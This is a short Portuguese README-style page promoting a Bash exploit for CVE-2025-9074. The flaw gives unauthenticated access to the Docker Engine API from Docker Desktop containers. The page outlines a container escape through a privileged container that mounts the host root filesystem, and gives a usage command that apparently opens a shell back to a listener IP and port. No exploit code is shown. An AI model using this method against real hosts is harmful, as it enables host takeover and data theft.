RCE não autenticado na API do Docker (CVE-2025-9074)

Uma vulnerabilidade crítica CVE-2025-9074 no Docker Desktop permite que contêineres Linux em execução local se conectem à API do Docker Engine através da sub-rede padrão (192.168.65.7:2375). O problema persiste independentemente das configurações de Isolamento Aprimorado de Contêineres (ECI) ou de exposição TCP. O código de exploit de Prova de Conceito está disponível publicamente para CVE-2025-9074. A vulnerabilidade pode permitir acesso não autorizado a arquivos de usuário no sistema host. Portanto, o nível de risco é classificado como Alto Risco.

Um script Bash independente para explorar APIs Docker expostas (normalmente na porta 2375) sem autenticação. Esta ferramenta automatiza a fuga de contêineres através da montagem de volumes, permitindo a execução remota de código.

Recursos

• Zero Dependências: Implementado inteiramente em Bash usando utilitários padrão como curl e grep. Nenhum binário externo ou ferramentas de terceiros são necessários.
• Exploração Não Autenticada: Interage diretamente com a API do Docker Engine sem autenticação.
• Criação Automatizada de Contêineres: Cria e inicia automaticamente um contêiner privilegiado.
• Acesso Raiz ao Host: Monta o sistema de arquivos raiz do host para obter a fuga do contêiner.
• Portátil: Funciona em ambientes de contêiner mínimos com ferramentas limitadas.

Uso

chmod +x exploit.sh
./exploit.sh [TARGET_IP] [PORT] -l <listener_ip> -p <listener_port>

Prova de Conceito